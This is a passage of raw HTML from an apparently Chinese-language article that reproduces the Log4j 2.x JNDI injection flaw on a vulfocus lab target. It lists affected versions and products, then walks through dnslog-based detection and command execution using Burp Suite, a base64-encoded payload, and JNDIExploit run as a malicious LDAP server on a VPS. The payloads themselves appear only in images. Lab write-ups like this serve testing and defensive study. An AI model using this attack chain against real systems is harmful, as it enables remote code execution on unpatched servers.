255)" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;display: inline-block;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__2" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(141, 141, 141)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">影响版本</span></strong></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/>    Apache Log4j 2.x &lt; 2.15.0-rc2</section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;display: inline-block;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__2" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(141, 141, 141)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">影响范围</span></strong></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">      含有该漏洞的Log4j影响到超过 6000个中间件或应用，目前已知的可能受影响的应用及组件包括但不限于如下清单中所列出的：</span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;"> </span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 17px;"><p style="font-family: 0 0 0 28px;font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">Spring-Boot-strater-log4j2</span></p></li><li style="font-size: 17px;"><p style="font-family: 0 0 0 28px;font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">Apache Struts2</span></p></li><li style="font-size: 17px;"><p style="font-family: 0 0 0 28px;font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">Apache Solr</span></p></li><li style="font-size: 17px;"><p style="font-family: 0 0 0 28px;font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">Apache Flink</span></p></li><li style="font-size: 17px;"><p style="font-family: 0 0 0 28px;font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">Apache Druid</span></p></li><li style="font-size: 17px;"><p style="font-family: 0 0 0 28px;font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">ElasticSearch</span></p></li><li style="font-size: 17px;"><p style="font-family: 0 0 0 28px;font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">Flume</span></p></li><li style="font-size: 17px;"><p style="font-family: 0 0 0 28px;font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">Dubbo</span></p></li><li style="font-size: 17px;"><p style="font-family: 0 0 0 28px;font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">Redis</span></p></li><li style="font-size: 17px;"><p style="font-family: 0 0 0 28px;font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">Logstash</span></p></li><li style="font-size: 17px;"><p style="font-family: 0 0 0 28px;font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">Kafka</span></p></li></ul><p style="font-size: 14px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"> </p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;display: inline-block;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;color: rgb(254, 254, 254);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__2" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(141, 141, 141)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">验证过程</span></strong></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="color: rgb(53, 53, 53);font-size: 14px;text-align: start;white-space: normal;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="font-size: 14px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"> </p><p style="font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 17px;">      靶场使用vulfocus的靶场<span style="font-size: 17px;font-family: 宋体;">，</span>该靶场漏洞位置存在于/hello路径<span style="font-size: 17px;font-family: 宋体;">，</span>漏洞验证过程使用burpsuite、JNDIExploit以及拥有公网ip的vps的服务器<span style="font-size: 17px;font-family: 宋体;">。</span></span></p><p style="font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 17px;"><span style="font-size: 17px;font-family: 宋体;"><br/></span></span></p><ol class="list-paddingleft-2" style="list-style-type: decimal;"><li><h2 style="font-family: 13px 0 8px;text-indent: 0;break-after: avoid;font-size: 21px;color: rgb(0, 0, 0);text-align: start;white-space: normal;">漏洞检测</h2></li></ol><p style="font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;">    首先对<span style="color: rgb(0, 0, 0);text-align: start;">vulfocus的靶场</span>进行抓取数据包。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.462" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=828b3d40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibRDiaLsU3JtQic64M9zXSUoMRHAb8tVS8laWVB3flCUfhuZtfqRjJQGBtBicUaCI9AjILCTYzxETzNQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="color: rgb(0, 0, 0);text-align: start;font-size: 12pt;font-family: &#34;Noto Serif CJK SC&#34;, serif;">  </span><span style="font-size: 17px;">然后进入存在漏洞的路径，使用POST请求尝试将请求dnslog地址，通过查看dnslog上的记录查看是否执行请求。 </span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.256" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=9e3083e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibRDiaLsU3JtQic64M9zXSUoMianic9n4ibO4PAOyqGTiaicxwhj5RHTJQZ1bCRIPg6lR6ACeOsxIkZEzHWQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"> </p><p style="font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 17px;">    当前ceye.io没有数据，发送构造好的POST包后，dnslog将会出现对应的解析记录。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.308" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=809f72c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibRDiaLsU3JtQic64M9zXSUoMGw8ZOVN5tfkZXvMWuW2HGxmN6YEYKIOxoS1snTouIG7BjaiaTvzmR0Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 17px;"></span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.236" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=7790c84a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibRDiaLsU3JtQic64M9zXSUoM6gawF7WUfJCVA70auSJ86I4ibsPhyUcg2259lmZwNqch9AvuVZVDGqg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 17px;"></span></p><p style="font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 17px;">说明漏洞存在。</span></p><p style="font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 17px;"><br/></span></p><h2 style="font-family: 13px 0 8px;text-indent: 0;break-after: avoid;font-size: 21px;color: rgb(0, 0, 0);text-align: start;white-space: normal;">2.命令执行</h2><p style="font-family: 0 0 9px;line-height: 18.4px;font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 17px;">      首先将payload进行base64编码(注意 在注入中 需要将base64加密后的+进行url编码 ,burpsuite需要二次url编码)。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3654618473895582" data-s="300,640" style="" data-type="png" data-w="1494" src="https://wechat2rss.xlab.app/img-proxy/?k=fcc33ba6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH84aBWdBor8JbYicYdbiaE97n9YosHRGyic4roYfofOJ9yWIfVXRXCkviapMJiayriamtu8wR4qpbncOmicw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 9px;line-height: 18.4px;font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;">    使用靶机可远程访问的服务器，开启能够执行恶意命令的ldap服务器，这里使用JNDIExploit，<span style="color: rgb(0, 0, 0);font-size: 16px;text-align: start;">JNDIExploit</span>具体使用参数如下图。<br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.46534653465346537" data-s="300,640" style="" data-type="png" data-w="1414" src="https://wechat2rss.xlab.app/img-proxy/?k=ce82e09b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibRDiaLsU3JtQic64M9zXSUoMURcIC0W77XYlf5qKtiatkuUtoF9BzKX47icVCu7EhqvFnGUxOWIhicSQg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 9px;line-height: 18.4px;font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 17px;"></span></p><p style="font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 17px;"><br/></span></p><p style="font-size: 16px;color: rgb(0, 0, 0);text-align: start;white-space: normal;"><br/></p><p style="white-space: normal;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="white-space: normal;color: rgb(53, 53, 